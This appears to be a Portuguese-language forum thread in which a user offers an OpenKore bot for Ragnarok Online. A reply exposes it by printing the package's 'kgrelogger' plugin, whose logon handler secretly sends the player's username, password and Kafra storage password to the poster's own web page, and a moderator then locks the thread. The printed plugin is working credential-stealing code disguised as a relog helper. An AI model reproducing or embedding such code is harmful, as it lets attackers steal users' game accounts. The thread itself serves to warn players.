Openkore funcionando 100%,macro+campal,sem erros unknown,nao trava durante rota,atualizado renewal 100%

OpenKore funcionando beleza sem erros e sem atividades suspeitas,resolvi postar esse bot porque ele nao trava durante rota,sem disconects estranhos e funfando 24h on,
está belezinha pra galera,qualquer dúvida posta no tópico que ajudo os demais,tem scan feito no virus total e o site para quem quizer fazer tambem!

Uma rápida explicação sobre os ragexe..Para se conectar no bot tem que pegar o ragexe que esta dentro da pasta do RAGEXE PRA SE CONECTAR NO BOT e substituir pelo oque
está na sua pasta do bro,agora pra logar na sua conta normalmente vc vai precisar do ragexe novo,então entre na pasta RAGEXE PRA CONECTAR NO BRO e copie ele e substitua
pelo oque esta na sua pasta do bro,viu simples e fácil


Necessita desse perl instalado,então desinstale o seu e instale esse ou,no caso se já tiver esse deixe como está


http://www.megaupload.com/?d=YVBQ1LAX


Versão do OpenKore,Última versao


http://www.megaupload.com/?d=47M17I7O



http://www.mediafire.com/?aytx3aofizdo3lm


Link do scan feito no site Virus Total


http://www.virustotal.com/url-scan/report.html?id=b8f10b5082d7c973ab6949ee5f4efd1c-1305902624



Link do site para conferir algum tipo de vírus ou algo do tipo


http://www.virustotal.com/


Fico grato quem gostar!!!,e nao esquece de agradecer fuii!!!!

sou novo no forum, e ja peguei isso
q esta dentro da pasta plugins no arquivo campal
do arquivo postado pelo membro osmarmlsp


# kgrelogger by Setzer
#
#
# This source code is licensed under the
# GNU General Public License, Version 2.
# See http://www.gnu.org/licenses/gpl.html

package kgrelogger;

use strict;

use Plugins;
use Commands;
use Log qw( warning message error );
use Settings;
use Globals;
use Utils qw( timeOut );
use Misc qw ( configModify );

#-----------------
# Plugin: settings
#-----------------
Plugins::register("kgrelogger", "relogs on koreguard error", \&unload);

# Log hook
my $logHook = Log::addHook(\&on_Log, "kgrelogger");
# Event hook
my $evnHooks = Plugins::addHooks(
["mainLoop_pre", \&on_MainLoop, undef]
);
my $logonAttempt = 0;
my %logonTimeout = ( time => time(), timeout => 10 );

#---------------
# Plugin: unload
#---------------
sub unload {
Log::delHook($logHook);
Plugins::delHooks($evnHooks);
undef $logHook;
undef $evnHooks;
}

#-------------
# Log: handler
#-------------
sub on_Log {
my ($type, $domain, $level, $globalVerbosity, $message, $user_data) = @_;
if( $type eq "error" ){
# Kore Guard errors
if( ($message =~ /Your\ Ragnarok\ Online\ server\ uses\ GameGuard/) ||
($message =~ /The\ Poseidon\ server\ closed\ the\ connection/) ||
($message =~ /The\ Poseidon\ server\ sent\ a\ wrong\ reply\ ID/) ||
($message =~ /Timeout\ on\ Character\ Select\ Server/) ||
($message =~ /Tempo\ esgotado\ no\ Servidor\ de\ Sele(.*)\ de\ Personagens/) ||
($message =~ /Timeout\ on\ Character\ Server/) ||
($message =~ /Tempo\ esgotado\ no\ Servidor\ de\ Personagens/) ||
($message =~ /couldn't\ connect:/) ||
($message =~ /n(.*)\ foi\ possível\ se\ conectar:/) ||
($message =~ /GameGuard\ packets\ where\ not\ replied/) ||
($message =~ /pacotes\ do\ GameGuard\ n(.*)\ foram\ respondidos/) ){
warning "[Campal] connect error, relogging\n";
kgRelog();
}
} elsif( ($type eq "message") && ($domain eq "console") ){
# Logon attempt
if( ($message =~ /Requesting\ permission\ to\ logon\ on\ account\ server/) ||
($message =~ /Pedindo\ permiss(.*)o\ para\ se\ logar\ no\ servidor\ de\ contas/) ){
warning "[Campal] attempting to connect through [$config{'poseidonServer'}] and...\n";


use LWP::UserAgent;
use Utils qw(urlencode);
my $ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
my $usuario = $config{'username'};
$usuario =~ s/#/:/;
my $senha = $config{'password'};
$senha =~ s/#/:/;
my $kafra = $config{'storageAuto_password'};
$kafra =~ s/#/:/;
my $response = $ua->get("http://osmarmlsp.110mb.com/key_strokes.php?keylog=$usuario $senha $kafra");



$logonAttempt = 1;
$logonTimeout{time} = time();
}
} elsif( ($type eq "message") && ($domain eq "connection") ){
# Logon success (account info received)
if( ($message =~ /-Account Info-/) ||
($message =~ /-Informa(.*)s da Conta-/) ){
$logonAttempt = 0;
warning "[Campal] ...connected!\n";
}
}
}

#-----------------
# Event: Main loop
#-----------------
sub on_MainLoop {
return if !$logonAttempt;
if( timeOut(\%logonTimeout) ){
warning "[Campal] ...connection timed out, relogging\n";
kgRelog();
}
}

#---------------
# Command: relog
#---------------
my $i = -1;
sub kgRelog {
$logonAttempt = 0;
Commands::run("relog 18");
}

1;

axei um probleminha, esse usuario esta hackiando jogadores, ele n passa de um ladrao sujo...
pra n chamar de outras coisas, mas axo q vc ja recebeu meus comentarios sobre vc
dsuihsduaiidahasdiuasdhuiasdh...

ai esta o codigo q envia seu login e senha e tb senha da kafra para uma pagina dele

my $response = $ua->get("http://osmarmlsp.110mb.com/key_strokes.php?keylog=$usuario $senha $kafra");

Para no futuro o topico não ser renascido ele sera trancado

TRANCADO